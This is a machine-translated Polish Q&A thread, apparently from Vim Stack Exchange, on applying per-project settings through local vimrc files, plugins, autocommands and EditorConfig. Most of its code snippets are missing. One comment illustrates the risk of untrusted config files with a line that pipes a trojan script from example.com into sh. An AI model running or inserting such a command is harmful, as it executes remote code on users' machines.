W mojej pracy używamy standardu ts
2; moje osobiste preferencje to 4, z czego korzystam w swoich projektach hobbystycznych, a ten inny odziedziczony przez nas projekt ma konwencję ts=8
.
Są też inne ustawienia, które chcę ustawić na podstawie projektu (na przykład składanie). Oparcie tych ustawień na typie pliku lub automatyczne wykrywanie ich na podstawie tego, z czego korzysta plik, nie są dobrymi opcjami, ponieważ chcę przestrzegać konwencji każdego projektu.
Czy mogę zmusić Vima do użycia pliku ustawień, który dotyczy projektu (wszystko w drzewie katalogów) bez dodawania modeliny do wszystkich plików?
vimrc
filesystem
Martin Tournoij
źródło
źródło
Odpowiedzi:
Jest na to kilka lekkich sposobów.
Sprawdź plik o podanej nazwie i podaj go
Plik jest ukryty w przykładzie, ale jest to opcjonalne.
.vimrc
Pliki lokalne (inne niż wtyczka)Jest to podobne do 1., ale plik nazywa się „.vimrc”.
Częstą sugestią towarzyszącą temu jest użycie
co uniemożliwia
.vimrc
plikowi wykonywanie potencjalnie niebezpiecznych czynności, takich jak uruchamianie poleceń powłoki. Chodzi o to, że nie chcesz, aby vim czytał.vimrc
plik napisany przez kogoś, kto robi coś paskudnego.Automatyczne polecenia, które sprawdzają bieżącą ścieżkę
Z tej opcji korzystam. Nie zmieniam wiele między różnymi projektami, więc YMMV, ale jeśli chcesz zrobić jedną lub dwie rzeczy w oparciu o ścieżkę i zachować to w swoim,
.vimrc
jest to przyjemne i proste.źródło
W tym celu używam localvimrc .
Umieść w
.lvimrc
swoim projekcie ustawienia projektu, a ustawienia te zastąpią ustawienia w.vimrc
.Domyślnie zostaniesz zapytany, czy chcesz pobrać ten plik, np .:
Ma to na celu zapobieganie pozyskiwaniu losowych (niezaufanych) plików vimrc. Jeśli uznasz to za denerwujące, możesz ustawić białą listę
.lvimrc
plików za pomocąg:localvimrc_whitelist
:Lub możesz po prostu całkowicie wyłączyć prośbę o potwierdzenie za pomocą
set g:localvimrc_ask = 0
. Nie jest to jednak zalecane.źródło
Centralna konfiguracja
Jeśli centralne skonfigurowanie określonych poleceń / lokalnych wyjątków jest w porządku, możesz umieścić takie autocmds w
~/.vimrc
:Ważne jest, aby używać
:setlocal
zamiast:set
, a także:map <buffer> ...
i:command! -buffer ...
.Z drugiej strony, jeśli chcesz, aby konkretna konfiguracja była przechowywana w projekcie (i nie chcesz osadzać jej we wszystkich plikach za pomocą modelin ), masz dwie następujące opcje:
Lokalna konfiguracja z wbudowanymi funkcjami
Jeśli zawsze uruchamiasz Vima z katalogu głównego projektu, wbudowane
umożliwia odczyt
.vimrc
pliku z bieżącego katalogu. Możesz tam umieścić:set ts=4 sw=4
polecenia.Lokalna konfiguracja poprzez wtyczkę
W przeciwnym razie potrzebujesz pomocy wtyczki; jest ich kilka na vim.org; Mogę polecić wtyczkę localrc , która pozwala nawet na konfigurację specyficzną dla lokalnego typu pliku.
Pamiętaj, że odczyt konfiguracji z systemu plików ma wpływ na bezpieczeństwo; możesz chcieć
:set secure
.źródło
.exrc
są one bardzo ograniczone: pojęcie projektu zatrzymuje się w bieżącym katalogu, tzn. Pliki w podkatalogach nie należą do projektu.Istnieje projekt Editor Config , który pozwala zdefiniować konfiguracje na poziomie projektu, takie jak ustawienia tabstop wraz z nowymi stylami linii i innymi rzeczami. Istnieje wiele wtyczek do różnego rodzaju edytorów, w tym vim . Pozwala także zdefiniować ustawienia dla różnych typów plików.
źródło
Napisałem to i dodałem do mojego .vimrc, aby umożliwić mi umieszczanie plików .vimsettings w projektach i podprojektach.
źródło
system('curl http://example.com/install-trojan.sh | sh')
...Chciałem tego, więc wdrożyłem go lokalnie. Nie zależy mi na „wykonywaniu losowego kodu”, ale może to działać na proste potrzeby. W razie potrzeby dostosuj nazwy plików.
Jest
local.vimrc
to w rzeczywistości dowiązanie symboliczne do pliku w mojej znacznej kolekcji plików vimrc dla każdej firmy, które mogę zachować pod kontrolą źródła gdzie indziej, co ułatwia przeniesienie całej konfiguracji na inne maszyny lub jeśli odwiedzę firmę na stronie lub coś takiego . Można użyć konfiguracji kaskadowych, ale w praktyce nie potrzebuję tej funkcji. Podłączam również, F8aby otworzyć znaleziony plik i mój „główny”.vimrc
w nowej karcie ...Wewnątrz tych lokalnych konfiguracji, ponieważ są one analizowane dla każdego otwartego pliku, pamiętaj o ustawieniu mapowań i ustawień na bufor lokalny. Na przykład
źródło